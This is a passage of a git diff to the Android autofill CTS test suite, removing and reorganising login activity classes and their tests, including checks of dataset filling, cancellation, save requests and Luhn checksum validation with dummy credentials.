-            Log.i(TAG, "testCancelMultipleTimes(): step " + i);
-            final String username = "user-" + i;
-            final String password = "pass-" + i;
-            sReplier.addResponse(new CannedDataset.Builder()
-                    .setField(ID_USERNAME, username)
-                    .setField(ID_PASSWORD, password)
-                    .setPresentation(createPresentation("The Dude"))
-                    .build());
-            mActivity.expectAutoFill(username, password);
-            try {
-                // Trigger auto-fill.
-                requestFocusOnUsername();
-
-                waitUntilConnected();
-                sReplier.getNextFillRequest();
-
-                // Auto-fill it.
-                mUiBot.selectDataset("The Dude");
-
-                // Check the results.
-                mActivity.assertAutoFilled();
-
-                // Change focus to prepare for next step - must do it before session is gone
-                requestFocusOnPassword();
-
-                // Rinse and repeat...
-                mActivity.tapClear();
-
-                waitUntilDisconnected();
-            } catch (RetryableException e) {
-                throw e;
-            } catch (Throwable t) {
-                throw new Throwable("Error on step " + i, t);
-            }
-        }
-    }
-
-    @Test
-    public void testClickCustomButton() throws Exception {
-        // Set service.
-        enableService();
-
-        Intent intent = new Intent(mContext, EmptyActivity.class);
-        IntentSender sender = PendingIntent.getActivity(mContext, 0, intent,
-                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT)
-                .getIntentSender();
-
-        RemoteViews presentation = new RemoteViews(mPackageName, R.layout.list_item);
-        presentation.setTextViewText(R.id.text1, "Poke");
-        Intent firstIntent = new Intent(mContext, DummyActivity.class);
-        presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
-                mContext, 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
-                        | PendingIntent.FLAG_CANCEL_CURRENT));
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(sender, ID_USERNAME)
-                .setPresentation(presentation)
-                .build());
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Click on the custom button
-        mUiBot.selectByText("Poke");
-
-        // Make sure the click worked
-        mUiBot.selectByText("foo");
-
-        // Go back to the filled app.
-        mUiBot.pressBack();
-    }
-
-    @Test
-    public void testIsServiceEnabled() throws Exception {
-        disableService();
-        final AutofillManager afm = mActivity.getAutofillManager();
-        assertThat(afm.hasEnabledAutofillServices()).isFalse();
-        try {
-            enableService();
-            assertThat(afm.hasEnabledAutofillServices()).isTrue();
-        } finally {
-            disableService();
-        }
-    }
-
-    @Test
-    public void testGetAutofillServiceComponentName() throws Exception {
-        final AutofillManager afm = mActivity.getAutofillManager();
-
-        enableService();
-        final ComponentName componentName = afm.getAutofillServiceComponentName();
-        assertThat(componentName.getPackageName()).isEqualTo(SERVICE_PACKAGE);
-        assertThat(componentName.getClassName()).endsWith(SERVICE_CLASS);
-
-        disableService();
-        assertThat(afm.getAutofillServiceComponentName()).isNull();
-    }
-
-    @Test
-    public void testSetupComplete() throws Exception {
-        enableService();
-
-        // Validation check.
-        final AutofillManager afm = mActivity.getAutofillManager();
-        Helper.assertAutofillEnabled(afm, true);
-
-        // Now disable user_complete and try again.
-        try {
-            setUserComplete(mContext, false);
-            Helper.assertAutofillEnabled(afm, false);
-        } finally {
-            setUserComplete(mContext, true);
-        }
-    }
-
-    @Test
-    public void testPopupGoesAwayWhenServiceIsChanged() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Now disable service by setting another service
-        Helper.enableAutofillService(mContext, NoOpAutofillService.SERVICE_NAME);
-
-        // ...and make sure popup's gone
-        mUiBot.assertNoDatasets();
-    }
-
-    // TODO(b/70682223): add a new test to make sure service with BIND_AUTOFILL permission works
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testServiceIsDisabledWhenNewServiceInfoIsInvalid() throws Exception {
-        serviceIsDisabledWhenNewServiceIsInvalid(BadAutofillService.SERVICE_NAME);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testServiceIsDisabledWhenNewServiceNameIsInvalid() throws Exception {
-        serviceIsDisabledWhenNewServiceIsInvalid("Y_U_NO_VALID");
-    }
-
-    private void serviceIsDisabledWhenNewServiceIsInvalid(String serviceName) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Now disable service by setting another service...
-        Helper.enableAutofillService(mContext, serviceName);
-
-        // ...and make sure popup's gone
-        mUiBot.assertNoDatasets();
-
-        // Then try to trigger autofill again...
-        mActivity.onPassword(View::requestFocus);
-        //...it should not work!
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testAutofillMovesCursorToTheEnd() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // NOTE: need to call getSelectionEnd() inside the UI thread, otherwise it returns 0
-        final AtomicInteger atomicBombToKillASmallInsect = new AtomicInteger();
-
-        mActivity.onUsername((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
-        assertWithMessage("Wrong position on username").that(atomicBombToKillASmallInsect.get())
-                .isEqualTo(4);
-
-        mActivity.onPassword((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
-        assertWithMessage("Wrong position on password").that(atomicBombToKillASmallInsect.get())
-                .isEqualTo(5);
-    }
-
-    @Test
-    public void testAutofillLargeNumberOfDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        final StringBuilder bigStringBuilder = new StringBuilder();
-        for (int i = 0; i < 10_000 ; i++) {
-            bigStringBuilder.append("BigAmI");
-        }
-        final String bigString = bigStringBuilder.toString();
-
-        final int size = 100;
-        Log.d(TAG, "testAutofillLargeNumberOfDatasets(): " + size + " datasets with "
-                + bigString.length() +"-bytes id");
-
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder();
-        for (int i = 0; i < size; i++) {
-            final String suffix = "-" + (i + 1);
-            response.addDataset(new CannedDataset.Builder()
-                    .setField(ID_USERNAME, "user" + suffix)
-                    .setField(ID_PASSWORD, "pass" + suffix)
-                    .setId(bigString)
-                    .setPresentation(createPresentation("DS" + suffix))
-                    .build());
-        }
-
-        // Set expectations.
-        sReplier.addResponse(response.build());
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are shown.
-        // TODO: improve assertDatasets() so it supports scrolling, and assert all of them are
-        // shown. In fullscreen there are 4 items, otherwise there are 3 items.
-        mUiBot.assertDatasetsContains("DS-1", "DS-2", "DS-3");
-
-        // TODO: once it supports scrolling, selects the last dataset and asserts it's filled.
-    }
-
-    @Test
-    public void testCancellationSignalCalledAfterTimeout() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final OneTimeCancellationSignalListener listener =
-                new OneTimeCancellationSignalListener(Timeouts.FILL_TIMEOUT.ms() + 2000);
-        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Attach listener to CancellationSignal.
-        waitUntilConnected();
-        sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
-
-        // Assert results
-        listener.assertOnCancelCalled();
-    }
-
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testNewTextAttributes() throws Exception {
-        enableService();
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.onUsername(View::requestFocus);
-
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
-        assertThat(username.getMinTextEms()).isEqualTo(2);
-        assertThat(username.getMaxTextEms()).isEqualTo(5);
-        assertThat(username.getMaxTextLength()).isEqualTo(25);
-
-        final ViewNode container = findNodeByResourceId(request.structure, ID_USERNAME_CONTAINER);
-        assertThat(container.getMinTextEms()).isEqualTo(-1);
-        assertThat(container.getMaxTextEms()).isEqualTo(-1);
-        assertThat(container.getMaxTextLength()).isEqualTo(-1);
-
-        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
-        assertThat(password.getMinTextEms()).isEqualTo(-1);
-        assertThat(password.getMaxTextEms()).isEqualTo(-1);
-        // Security fix a0c6539 limits the text length 5000. Disable assert text length to avoid
-        // break the public release.
-        //assertThat(password.getMaxTextLength()).isEqualTo(-1);
-    }
-
-    @Test
-    public void testUiShowOnChangeAfterAutofill() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("dude"))
-                .setField(ID_PASSWORD, "sweet", createPresentation("sweet"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("dude");
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-
-        // Delete a character.
-        sendKeyEvent("KEYCODE_DEL");
-        assertThat(mUiBot.getTextByRelativeId(ID_USERNAME)).isEqualTo("dud");
-
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Check autofill UI show.
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
-
-        // Autofill again.
-        mUiBot.selectDataset(datasetPicker, "dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testUiShowOnChangeAfterAutofillOnePresentation() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("The Dude");
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-
-        // Delete username
-        mUiBot.setTextByRelativeId(ID_USERNAME, "");
-
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Check autofill UI show.
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
-
-        // Autofill again.
-        mUiBot.selectDataset(datasetPicker, "The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testCancelActionButton() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentationWithCancel("The Dude"))
-                        .build())
-                .setPresentationCancelIds(new int[]{R.id.cancel_fill});
-        sReplier.addResponse(builder.build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasetsContains("The Dude");
-
-        // Tap cancel button on fill UI
-        mUiBot.selectByRelativeId(ID_CANCEL_FILL);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertNoDatasets();
-
-        // Test and verify auto-fill does not trigger
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Test and verify auto-fill does not trigger.
-        mActivity.onUsername(View::requestFocus);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Reset
-        mActivity.tapClear();
-
-        // Set expectations.
-        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentationWithCancel("The Dude"))
-                        .build())
-                .setPresentationCancelIds(new int[]{R.id.cancel});
-        sReplier.addResponse(builder2.build());
-
-        // Trigger auto-fill.
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Verify auto-fill has been triggered.
-        mUiBot.assertDatasetsContains("The Dude");
-    }
-
-    @Test
-    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
-    public void testSwitchInputMethod_noNewFillRequest() throws Exception {
-        // Set service
-        enableService();
-
-        // Set expectations
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build());
-        sReplier.addResponse(builder.build());
-
-        // Trigger auto-fill
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasetsContains("The Dude");
-
-        // Trigger IME switch event
-        Helper.mockSwitchInputMethod(sContext);
-        mUiBot.waitForIdleSync();
-
-        // Tap password field
-        mUiBot.selectByRelativeId(ID_PASSWORD);
-        mUiBot.waitForIdleSync();
-
-        mUiBot.assertDatasetsContains("The Dude");
-
-        // No new fill request
-        sReplier.assertNoUnhandledFillRequests();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillActivity.java
deleted file mode 100644
index 40ebb69..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with autofill disabled.
- */
-public class LoginNotImportantForAutofillActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.login_activity_not_important;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedActivityContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedActivityContextActivity.java
deleted file mode 100644
index 035cea6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedActivityContextActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.util.Log;
-
-/**
- * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
- * as the base context.
- */
-public class LoginNotImportantForAutofillWrappedActivityContextActivity
-        extends LoginNotImportantForAutofillActivity {
-
-    private Context mMyBaseContext;
-
-    @Override
-    public Context getBaseContext() {
-        if (mMyBaseContext == null) {
-            mMyBaseContext = new ContextWrapper(super.getBaseContext());
-            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
-                    + super.getBaseContext() + ")");
-        }
-        return mMyBaseContext;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedApplicationContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
deleted file mode 100644
index b47cfc6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.util.Log;
-
-/**
- * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
- * as the base context.
- */
-public class LoginNotImportantForAutofillWrappedApplicationContextActivity
-        extends LoginNotImportantForAutofillActivity {
-
-    private Context mMyBaseContext;
-
-    @Override
-    public Context getBaseContext() {
-        if (mMyBaseContext == null) {
-            mMyBaseContext = new ContextWrapper(getApplicationContext());
-            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
-                    + super.getBaseContext() + ")");
-        }
-        return mMyBaseContext;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivity.java
deleted file mode 100644
index c379f71..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with a custom autofill highlight drawable.
- */
-public class LoginWithCustomHighlightActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.login_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java
index 0812ad7..f1a06ae 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java
@@ -16,10 +16,15 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
 
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.activities.LoginWithCustomHighlightActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.MyDrawable;
 import android.graphics.Rect;
 import android.support.test.uiautomator.UiObject2;
 import android.view.View;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivity.java
deleted file mode 100644
index 90c3e93..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with the texts for some fields set from resources.
- */
-public class LoginWithStringsActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.login_with_strings_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
deleted file mode 100644
index d702052..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertHintFromResources;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResources;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.view.View;
-
-import org.junit.Test;
-
-@AppModeFull(reason = "LoginActivityTest is enough")
-public class LoginWithStringsActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginWithStringsActivity> {
-
-    private LoginWithStringsActivity mActivity;
-
-
-    @Override
-    protected AutofillActivityTestRule<LoginWithStringsActivity> getActivityRule() {
-        return new AutofillActivityTestRule<LoginWithStringsActivity>(
-                LoginWithStringsActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setId("I'm the alpha and the omega")
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-        waitUntilConnected();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Make sure input was sanitized.
-        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
-        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-
-        // Make sure labels were not sanitized
-        assertTextFromResources(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
-                "username_string");
-        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
-                "password_string");
-
-        // Check text hints
-        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
-                "username_hint");
-        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
-                "password_hint");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Try to login, it will fail.
-        final String loginMessage = mActivity.tapLogin();
-
-        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
-
-        // Set right password...
-        mActivity.onPassword((v) -> v.setText("dude"));
-
-        // ... and try again
-        final String expectedMessage = getWelcomeMessage("dude");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, "dude");
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(password, "dude");
-
-        // Make sure labels were not sanitized
-        assertTextFromResources(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
-                "username_string");
-        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
-                "password_string");
-
-        // Check text hints
-        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
-                "username_hint");
-        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
-                "password_hint");
-
-        // Make sure extras were passed back on onSave()
-        assertThat(saveRequest.data).isNotNull();
-        final String extraValue = saveRequest.data.getString("numbers");
-        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
deleted file mode 100644
index 6eb8b8e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class LuhnChecksumValidatorTest {
-
-    @Test
-    public void nullId() {
-        assertThrows(NullPointerException.class,
-                () -> new LuhnChecksumValidator((AutofillId[]) null));
-    }
-
-    @Test
-    public void nullAndOtherId() {
-        assertThrows(NullPointerException.class,
-                () -> new LuhnChecksumValidator(new AutofillId(1), null));
-    }
-
-    @Test
-    public void duplicateFields() {
-        AutofillId id = new AutofillId(1);
-
-        // duplicate fields are allowed
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id, id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        // 5 is a valid checksum for 0005000
-        when(finder.findByAutofillId(id)).thenReturn("0005");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        // 6 is a not a valid checksum for 0006000
-        when(finder.findByAutofillId(id)).thenReturn("0006");
